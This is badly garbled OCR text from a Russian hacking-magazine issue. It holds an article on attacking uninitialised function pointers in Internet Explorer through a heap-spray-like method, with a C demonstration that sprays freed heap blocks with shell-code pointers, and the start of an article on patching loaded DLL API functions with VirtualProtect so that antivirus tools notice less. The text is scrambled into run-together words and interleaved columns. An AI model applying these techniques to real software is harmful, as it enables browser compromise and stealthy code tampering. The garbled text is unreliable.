Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
20.04.2024
Размер:
18.73 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

>> взломto BUY

 

 

 

 

 

 

 

w Click

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Осенние ошибки в IE, связанные с доступом к неинициализированным указателям

Недостроенные объекты на куче

Янеустаютвердить,чтоплюсовуСи++толькодва,авотминусов...На- многобольше!Ивообще,объективно-ориентированныйподходсоздает кудабольшепроблем,нежелиихрешает.Дляборьбыспроблемами, порождаемымипарадигмамиООП,создаютсясложныеигромоздкие механизмы,пользоватьсякоторыминерекомендуютдажеумудренные жизньюгуру.

Взятьхотябыдвафундаментальныхпонятия:конструкторыиисключения.Конструкторможетвыбрасыватьисключение.Приэтом,какправило,деструкторневызываетсяиосвобождаетсялишьпамять,выделенная подсамобъект,нообъекты,которыеконструкторужеуспелсоздать, остаются(вобщемслучае)неуничтоженными.Ихповедениезависит отприродысамихобъектов.Длянекоторыхобъектов(подчиняющихся парадигмамООП)автоматическивызываетсядеструктор,удаляющий ихповсемправилам,новототкрытыефайлы,установленныесетевые

соединенияиещекучавсякогобарахла,продолжаютболтатьсявпамяти, еслитолькообработчикисключениянепозаботитсяобихосвобождении. КоварствоСи++втом,чтодлявременныхобъектов(создаваемыхкомпилятором,например,вовремяпередачиаргументов)трансляторможет выполнятьраскруткустека(stackunwind),удаляянедостроенныеобъекты операторомdelete.Врезультате,привозникновенииисключениявконструкторевызовдеструкторавсежепроисходит,но…никакихгарантийна этотсчетунаснет.Тутвсеоттипаобъекта,особенностейтранслятораи ключейкомпиляциизависит!

Вообще,обработкаошибоквконструкторе—настоящаяголовнаяболь. Потомупрограммистыоченьчастоприбегаюткразнообразнымхакам. Самыйпопулярный—забитьнаконструкторивыполнятьинициализа- циюобъектавотдельномметоде(илидаженесколькихметодах),условно

—Init().Подобныйподходнещадноэксплуатируетсяразработчиками библиотекиMFC,даивдругихпроектах—нередкость.

Небудемспорить,чтохорошо,ачтоплохо(хватитразводитьтеоретическийфлейм,разработчикиMFCнедуракии,ужтемболее,непионеры). Методы-инициализаторыбыли,естьибудут—этофакт,откоторогоне уйти(миллионыстроккоданепереписатьзаодиндень).Иэтотфакт приводитквозможностипоявлениянедостроенныхобъектов.Действи- тельно,объектсоздали,авызватьметод-инициализаторзабыли.Как следствие,впеременных-членахобъекта—мусор.Использованиенедо- строенногообъектаприводиткнепредсказуемомуповедениюпоследнего.Чутьпозжемыпокажем,какможноиспользоватьошибкиэтоготипа длянаправленнойатаки,апокаобратимвниманиенавторуюпричину возникновениянеинициализированныхпеременных.

Дляпрограмм,написанныхнасмесичистогоиприплюснутогоСи,

характернапопыткаимитации(а,точнее,«эмуляции»)некоторыхСи++

Передача управления на shell-код путем выделения блоков из кучи и заполнения их указателями на shell-код (с последующим возвращением их в пул свободной динамической памяти)

фичизСикода.Втомчисле,виртуальныхфункций,которыеивсамом Си++реализованынелучшимобразом,аужихручнаяимплементация ивовсестановитсяисточникомошибок.Испортитьтакуюкрасивую идею!!!Создаемструктуру(собственноговоря,приплюснутыеклассы являютсятипичнымисишнымиструктурами,тольковСи++всечленыпо умолчаниюприватные,еслитольконеоговоренообратное).Помещаемв структуруодинилинесколькоуказателейнафункции,которыемогутбыть

переопределенывлюбоймомент.Оченьудобно!Скажем,нужнонамводномместезаменитьсистемныйобработчикправогокликамышинанаш собственныйдлявыводапользовательскогоменюилиперехватывать выводдокументанапечать...давсечтоугодно!

Итутмыплавнопереходимкобъектамспрограммируемымисвойствами(или,говоряанглийскимязыком,properties).Вместотого,чтобы перечислятьвметоде-инициализаторевсесвойства(большинствоиз которыхостаетсявсостояниипоумолчанию),архитекторпроектапишет объект,поддерживающийпоодномуметоду-инициализаторунакаждое свойство.Весьмапопулярныйподход,обязанныйсвоимрождениемеще одномукосякувприплюснутомси,которыйформальноподдерживает функциисаргументамипоумолчанию,нонепозволяетнамменятьсостояниепроизвольныхаргументов,чтона99%обесцениваетидею.

Анализпоказывает,чтоIEнаписаннасмесиклассическогоиприплюс- нутогоси,атакжеиспользуетбольшоеколичествометодов-инициали- заторов,вызываемыхвручную.Тоесть,существуетвозможностьвызова недостроенногообъектаснеинициированнымипеременными.Несмотря нато,чтобольшинствообъектовнаписановполнекорректноиотказываютсяработать безпредварительнойинициализации,честновозвращая ошибку,—безляповнеобошлось!Рядобъектовсодержатвсвоемчреве указателинадругиеобъекты,инициализируемыенеконструктором(вы- зываемомавтоматически),аотдельнымиметодами-инициализаторами, вызываемымивручнуюили…вообщеникемневызываемыми.Витоге, прииспользованиинедостроенногообъектапроисходитобращениек неинициализированномууказателю,содержащемувсякиймусор,—и приложениекончаетисключением.

Атеперьсамоеглавное!ОгромноеколичествоIE-объектов(втомчислеи уязвимых)доступныизскриптовыхязыков(типаJavaScriptилиVBScript), чтоделаетвозможнымнаправленнуюатакунанеинициализированные переменные,посколькуобъектыфизическиразмещаютсявдинамическойобластипамяти,используяединыйменеджеркучи.Другимисловами,

xàêåð 10 /118/ 08

057

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to BUY

 

>> взлом

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Тупой сценарий атаки на неинициализированные указатели по методу а-ля heap-spray с колоссальным потреблением памяти

 

скриптможетвыделитьблокпамяти,записатьтудавсе,чтоугодно,

ется—иладно.Даистековыхпеременныхнамногобольше,чемчленов

 

освободитьего,и…припоследующихзапросахпамятинаразмещение

объекта,размещаемыхвдинамическойпамяти,апотомувероятность

 

очередногосоздаваемогообъектаснекоторойстепеньювероятности

нарватьсянанеинициализированнуюпеременнуюздесьвыше.

 

будетиспользованименнонашблок.Каковастепеньэтойвероятности

Ксожалению(иликсчастью—смотряскакойсторонысмотреть),воз-

 

икакможноееповысить—мыещерасскажем,апокаподведемкраткий

можностинаправленноговоздействиянастековыепеременныеочень

 

итогпричинвозникновениянеинициализированныхпеременных.

ограничены,асамаатакавесьмаспецифичнаизаслуживаетотдельной

 

 

 

статьи.Отложимэтотразговордолучшихдней,апокавернемсяккучеи

 

 

• Вынос инициализирующего кода из конструктора (вызывае-

посмотрим:чтотамможносделать.

 

 

мого автоматически) в метод(ы)-инициализаторы, вызывае-

 

 

 

мые вручную или не вызываемые вообще

Реализация направленной атаки

 

 

• Гибридное Си/Си++ программирование с «эмуляцией» вир-

Указателисоставляютмалуючастьотвсехтиповпеременных,номы

 

 

туальных функций посредством чистого Си

сосредоточимсяименнонаних.Болеетого,извсехуказателейнасбудут

 

 

• Объекты с многочисленными properties, инициализируемы-

интересоватьтолькоуказателинафункции,посколькуонинамногоболее

 

 

ми из закрепленных за ними методов

уязвимы,чемвсеостальные.Достаточнопросто«дотянуться»доне-

 

 

• Разнотравье неклассифицируемых ошибок

инициализированногоуказателянафункцию,записавтудаадрессвоей

 

 

 

функции(shell-кода),авсеостальноезанассделаетавтоматика.Нодаже

 

 

Недостроенные объекты на стеке

 

 

такоесвидупростоемероприятиереализуетсядовольноэкзотическим

 

 

 

 

 

Неинициализированныепеременныевстречаютсянетольковкуче,но

способомвстиле«недокументированныепозициикама-сутры».

 

инастеке.Взятьхотябытакоеинтересноеявление,какавтоматическая

Какмыужеговорили,стандартныйаллокаторприплюснутогосиразме-

 

инициализацияглобальныхистатическихпеременных,обращаемыхв

щаетобъектывдинамическойпамяти(куче).Причем,длядостижения

 

нольещенестадиизагрузкиисполняемогофайлавпамять(потому«int

максимальнойпроизводительностиобнулениевыделенныхблоковпа-

 

a = 0;»и«static a;»содержатвсебеодноитожезначение).Писать

мятинепроизводитсяитамоказываетсямусор.Ачтотакоемусорсточки

 

«static a = 0;»совершеннонеобязательно.

зренияпрограммиста?Правильно,отходыжизнедеятельностипреды-

 

Однако,еслипокаким-топричинампрограммиствдругудалитключевое

дущихобъектов.Другимисловами,возможность(хотябытеоретическая)

 

слово static,превращаяпеременную«а»изстатическойвавтомати-

воздействиянанеинициализированныеуказателиунасесть.Правда,

 

ческую,внейтутжеокажетсямусор,оставленныйнастекекем-тоеще,и

практическаяреализациянаталкиваетсянамножествоподводныхкам-

 

программапойдетвразнос.Конечно,такоеслучаетсянетакужчасто,и

нейипрочихпрепятствий.Нодавайтевсепопорядку.

 

компиляторначнетругатьсяматом,выдаваяwarning’и,носовременные

Идеятакова:выделяемблокпамяти(чтоможносделатьнапрямуюиз

 

программистынапредупреждающиесообщениянесмотрят.Компилиру-

JavaScriptилиVBScript),копируемтудаshell-код,послечегоотъедаем

058

xàêåð 10 /118/ 08

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

>> взломto BUY

 

 

 

 

 

 

 

w Click

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

округляетсядоопределеннойвеличины,зависящейотособенностей реализацииконкретногобиблиотечногоаллокатора,опирающегосяв своюочередьнааллокатороперационнойсистемы.Обычноэто—16,32 или64байт.Причем,частьэтойпамяти(какминимум,двадвойныхслова) расходуетсяподслужебныенужды—указателинаследующийипреды- дущийсвободный(занятый)блок,ипотомупервыедвадвойныхслова дляхакерскихмахинацийнедоступны.Насамомделе,доступныиони, ноэтоопять-такитемаотдельнойузкоспецифичнойстатьи,заточенной подопределенныеверсииопределенныхбиблиотек,анамхотелосьбы познакомитьсясуниверсальнымалгоритмом.

Итакойалгоритмдействительноесть!Достаточно,чтобыразмервыделяемыхнамиблоковпамятисовпадалсразмеромуязвимогообъекта. Тогдаотъедатьвсюдоступнуюпамятьуженепотребуется.Вполнехватит несколькихсотен(максимум—тысяч)выделенныхблоков,чтовобщей совокупностидаетпорядкаодного-двухмегабайтпамяти.Какговорится,

—меньше,чемсовсемничего.Атакасовершаетсябыстро,надежнои незаметно.Жертвадажепикнутьнеуспевает,какееужещемятпополной

Продвинутый алгоритм атаки потребляет ничтожное количество памяти программе.Кстати,опрограммах.Нижеприведентестовыйстенд, демонстрирующийтехникуиспользованиянеинициализированных указателейвхакерскихцелях.

всюпамять,заполняяееуказателяминанашshell-код.Икогдапамять

 

 

 

совсемподойдеткконцу,освобождаемвсеблоки,кромепервого(с

Исходныйкод,демонстрирующийреализациюнаправлен-

shell-кодом).Последующиезапросынавыделениепамятивозвратятуяз-

нойатакинанеинициализированныеуказатели

вимомуприложениюблок,заполненныйссылкаминаshell-код.Еслихотя

#define NNN

(2048)

 

быодинизуказателейобъектаокажетсянеинициализированным,вместо

// #define NSZ (4096)

// <-- bad

вызоваоригинальнойфункцииуправлениеполучитshell-код.Описанная

#define NSZ

(sizeof(struct object))

// <-- good

техникаоченьпохожанаheap-spray—известныймеханизматакина

f_ok() { printf("+OK\n"); }

 

переполняющиесябуфера,заканчивающейсяпередачейуправленияна

f_err() { printf("-ERR\n"); }

 

shell-код.Присмотревшисьвнимательнее,мыобнаружимсущественное

struct object

 

 

различие.Вклассическомheap-spray’евыделенныеблокинеосвобож-

{

 

 

даются,авнашем—освобождаютсявсеблоки,кромепервого,стаким

char *s;

 

 

расчетом,чтобыбытьиспользованнымиповторно!

int (*bar)();

 

Авоттеперьграбли.Памятиусовременныхкомпьютеровмногоибыстро

int (*foo)();

 

откушатьеенеудастся.Атакарастягиваетсянаминутыилидажедесятки

};

 

 

минут,демаскируяхакера.Ужертвыестьхорошийзапасповремени,что-

char buf[1023];

 

бызакрытьподозрительноведущеесебяприложение(IEприэтомкакбы

char** all_p[NNN];

 

«подвисает»).Нодаженеэтосамоестрашное.Поумолчанию,начальный

 

 

 

размерфайлаподкачкименьшеконечногоивбольшинствесистемон

main()

 

 

составляетменьше2хгигабайт—объемапамяти,выделенногокаждому

{

 

 

процессуподприкладныенужды.Следовательно,впроцессепожирания

struct object *Obj;

 

памятинеизбежнонаступаетмомент,когдасистеманачнетувеличивать

int a, b; char *shell, **p;

 

размерфайлаподкачки.Этопроисходитнемгновенноизапросына

 

 

 

выделениепамяти,осуществляемыевэтовремя(дажепоступающиеот

// attack

 

 

постороннихприложений),заканчиваютсявозвращениемошибки.Что

shell = (char*) malloc(1024);

 

касаетсястека—системавообщевыбрасываетисключение«исчерпа-

*shell = 0xCC;

 

ниестековойпамяти»,котороемалоктообрабатывает.Корочеговоря,в

 

 

 

процессеувеличенияфайлаподкачкиначинаютсыпатьсясовершенно

// allocate heap blocks and fill them with pointers to

посторонниеприложенияипользователь,чертыхаясь,отправляет

our shell-code

 

 

системунаперезагрузку,врезультатечегохакерскаяатаканакрывается

for (a = 0; a < NNN; a++)

 

меднымтазом.

{

 

 

Акакнасчетболееэлегантногосценария?Тутпоходуделавыясняется

p = (char**) malloc(NSZ);

 

однаоченьинтереснаявещь.Дажееслиотъестьвсюдоступнуюпамять,

for (b = 0;b < NSZ / sizeof(char*); b++)

азатемееосвободить,тоникакихгарантийперезаписинеинициализи-

p[b] = shell;

 

рованногоуказателяунаснет.Почему?Авсепотому,чтомывыделяли

all_p[a] = p;

 

памятьбольшимблокам.Еслиразмервыделяемогоблокапревосходит

}

 

 

размеруязвимогообъекта,тосистема,стремясьподобратьблокнаибо-

 

 

 

лееадекватныхразмеров,выделитпамятьсовсемиздругихрезервов

// free all blocks to return them in the pool

—спискамаленькихблоков.Ранеезанятых,атеперьосвобожденных,но

for (a = 0; a < NNN; a++)

 

такинесумевшихобъединитьсясостальнымисвободнымиблокамив

free(all_p[a]);

 

единоецелое(посколькунапутимеждунимиимеетсяодинилибольше

 

 

 

занятыхблоков,разрывающихединоеадресноепространствонамно-

// IE-like code

 

жествообособленныхсуверенных«островков»).

Obj = (struct object*) malloc(sizeof(struct object));

Выходит,чтодлядостиженияуспеха,необходимовыделятьблокипамяти

Obj->bar = f_ok;

 

предельнокомпактногоразмера(4байта)стакимрасчетом,чтобытуда

 

 

 

записатьодин-единственныйуказательнаshell-код?Ну,этовообще

while(1)

 

 

дохляк!Деловтом,чторазмервыделяемогоблокаавтоматически

{

 

 

 

 

 

 

xàêåð 10 /118/ 08

059

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to BUY

 

>> взлом

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Богатый выбор боевых shell-кодов на www.metasploit.com

 

 

 

их очень легко предотвратить. Достаточно заставить аллокатор ав-

 

fgets(buf, 1023, stdin);

 

 

if (strlen(buf) < 8) { Obj->foo(); continue; }

 

томатически очищать выделяемые блоки памяти. Поскольку боль-

 

Obj->s = buf; Obj->bar();

 

шинство приложений взаимодействуют с системным аллокатором не

 

break;

 

напрямую, а через библиотечные переходники типа malloc и new, то

 

}

 

для защиты потребуется перекомпиляция всего ранее написанного

 

}

 

кода. Вывод: определенный запас по времени у хакеров все-таки есть

 

 

 

— весь вопрос в том, успеют ли они им воспользоваться. z

 

Конструктивнопрограммасостоитиздвухчастей.Первая—реализует

 

 

 

 

 

 

 

 

атакующийсценарий,вторая(начинаетсяскомментария«IE-likecode»)

 

 

 

 

 

 

 

—имитируетуязвимыйкод,содержащийся,например,вIE.Чтокасается

 

 

 

 

 

 

 

 

 

 

 

 

 

 

shell-кода,тоонпредставляетсобойоднобайтовуюмашиннуюкоманду

 

 

DEPиборьбасним

 

 

 

 

INT 03h сопкодомССh(программнаяточкаостанова,отлавливаемая

 

 

 

 

 

 

 

 

 

 

 

 

отладчикомтипаOllyDbgилиSoftICE).Впоследнемслучаенеобходи-

 

 

 

 

 

 

 

 

 

 

моотдатькоманду«I3HERE ON»,чтобыSoftICEреагировалнаточки

 

 

 

 

 

 

 

останова,установленныевпользовательскихприложениях,анетолько

 

 

Процессоров,поддерживающихNX/XD-биты,скаждымднемста-

 

 

 

драйверах,каконэтоделаетпоумолчанию.

 

 

новитсявсебольшеибольше,аначинаясXPSP2,исполнениекода

 

 

 

Естественно, INT 03h—неоченьинтересныйshell-кодипотомус

 

 

настекеивкучеразрешенотолькодлянесистемныхприложений.

 

 

 

практическойточкизрениянамногополезнеестянутьготовыйshell-кодс

 

 

IE,увы,непопадаетвкатегорию«амнистированных»ипотому

 

 

 

 

 

 

 

 

 

 

 

metaspot.com,открывающийbackdoorилизапускающий«Калькулятор».

 

 

приходитсяосуществлятьдополнительныетелодвижения.Какие

 

 

 

Ноэтоужетехническиедетали,неимеющиекописываемомусценарию

 

 

именно—зависитотспецификиуязвимогоприложенияиопять-

 

 

 

атакинималейшегоотношения.

 

 

такидалековыходитзарамкисценарияатакинанеинициализи-

 

 

 

Атаки на неинициализированные указатели только начинаются! К

 

 

рованныеуказатели.Сталобыть,внашемконтекстезаслуживает

 

 

 

счастью для пользователей и большому хакерскому разочарованию,

 

 

лишьбеглогоупоминания.

 

 

 

 

 

 

060

xàêåð 10 /118/ 08

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

on programmingto BUY >> взломinterface

w Click

 

 

 

 

 

 

m

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

o

 

 

 

w

 

df-xchan

 

 

Application pr

 

.

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

C

E

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

-

 

 

 

 

d

 

 

 

 

 

 

F

 

 

 

 

 

t

 

 

 

 

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Application programming interfaceBUY

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

o

 

 

interface

 

w

 

df-x chan

 

 

 

 

.

.c

 

 

 

 

 

 

 

p

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

 

 

e

 

 

 

 

 

 

 

 

Application programming inter

erface

Остап Бендер

 

lication programming interface Application programming interface

A

Application programmingApplicationinterfaceprogramming interface

 

erfaceApplication programming interface

 

 

Application programming interface

 

 

Application programmingApplicationinterfaceprogramming interface

A

 

Application programmingApplicationinterfaceprogramming interface

 

 

 

Application programmingApplicationin erfaceApplicationrogrammingprogramminginterfaceinterface

A

Application programming interface Application programming interface

 

 

Application programming interface

 

 

Application programming inter

 

Application programming interfaceApplication programming inter

Надругательство

 

 

Application programmingApplicationinterfaceprogramming interface

 

надAPI

 

plicationAprogrammingplication programminginterfacepplicationinterfaceprogrammingApplinterfacecationprogramming interface

 

plication programmingApplicationinterfaceprogrammingApplicationinterfaceprogrammingApplicationinterfaceprogramming interface

 

Модификация API-функций конкретным приложением

 

Вспомни, тебе когда-нибудь требовалось изменить функциональность API, вызываемой из системной библиотеки? При этом нередко случается так, что модификация DLL «в лоб» (с сохранением изменений в файле библиотеки), невозможна. К счастью, есть другие методы, позволяющие эффективно менять код API-функций по своему усмотрению. Без особых трудностей модифицировать можно даже системную DLL. Заинтересовался? Тогда читай.

уществуетдваподходакреверсингудинамическизагружанойбиблиотеки.Нотогдапридетсятаскатьзасобойлишнийфайл,что

Cемыхбиблиотек.Первый—отлаживатьdll«непосредствен- тоженевсегдаприемлемо.Третийвариант:модифицируемdll,загружен-

но»,тоесть—загружаяеевотладчикспомощьюнекоторого вспомогательногопроцесса.Второй—отлаживатьнеоб-

ходимуюбиблиотекувконтекстереальногопроцесса.Увторогоспособа естьнеоспоримоепреимущество—наконкретнуюAPI-функциюможно поставитьточкуостановаиприпередачепрограммойпараметроввстек проследитьзамеханизмомееработы.Именнопоэтомуяпредлагаюпри отладкеdllпользоватьсявторымметодом.

нуювпамять,прямоизпрограммы,котораяееиспользует.Хотяэтотметод тожеможетрасцениватьсяантивирусамикакдействиевредоносного характера,онменеезаметен.Наконец,четвертый,самыйнадежный (ноисамыйсложный)метод—переносисполняемогокодаконкретной API-функциивтелопрограммы.Тутантивирусампридратьсябудетнек чему.Таккакпервыедваметодадовольнопросты,даискрыть«деяние» невозможно,рассмотримдвапоследнихспособа.

Самыйнадежныйметод

Сметодомотладкиопределились.Возникаетвопрос,—какимобразом применитьизменения,которыемысовершимвовремяотладки?Вариантовмасса.Почтикаждомупридетнаумсохранитьизмененнуюdll.Этот вариантпрактическиникогданегодится!Подумайсам:какбудутчувст­ воватьсебяпрограммы,которыеиспользуютмодифицированнуюdll? Думаю,чтомногочисленныхошибокнеизбежать.Ктомуже,антивирусы могутзаподозритьчто-тонеладное.Естьальтернативныйпуть:сохранить dllподдругимименемиизменитьтаблицуимпортацелевойпрограммы так,чтобывызываласьAPI-функциянеоригинальной,амодифицирован-

ПатчингDLLсприменениемVirtualProtect

Попробуемвнедритьсявтелоdll,загруженнойпроцессом,иизменитьее, чтоназывается,«изнутри».Отлаживатьбудемфайлик,которыйвызывает API-функциюMessageBoxA.Тыможешьнайтипрограмму,которую отлаживаля,нанашемDVD,новообще,подойдетлюбой.Попробуем поменятьместамипараметры,которыепринимаетфункция.Сначала взглянемнаних,протрассировавпо<F7>доинструкции«call user32. MessageBoxA»ипопаввтелобиблиотеки user32.dll:

PUSH 0

;LanguageID = 0

 

 

062

xàêåð 10 /118/ 08

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

d

 

 

 

 

 

 

 

F

 

 

 

 

 

t

 

 

 

 

 

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

P

 

 

 

 

 

NOW!

o

ApplicationApplicationrogrammingprogramminginterfaceinterface

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

w Click

to

 

 

 

 

 

 

Application programming

interface

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

programmingApplicationinterfaceprogramming interface

 

.

df-xchaApplicationn

 

 

 

 

 

.c

 

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

 

 

 

e

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

d

 

 

 

F

 

 

 

 

t

 

 

 

D

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

NOW!

o

>> взломto BUY

 

 

 

 

 

 

 

w Click

 

 

 

 

m

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

o

 

 

Applicationdf-xprogrchan

 

 

.

 

 

 

.c

 

 

 

 

p

 

 

 

g

 

 

 

 

 

 

 

 

 

e

 

face

pplica

 

 

 

 

 

 

 

 

 

 

pplica

 

 

lce

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

pplica

 

 

l

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

face

 

 

 

 

 

 

 

 

 

face

 

 

 

 

 

 

Функция уже перенесена в секцию кода, но нуждается в патчинге

 

Вот что рассказала нам Microsoft о функции VirtualProtect

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

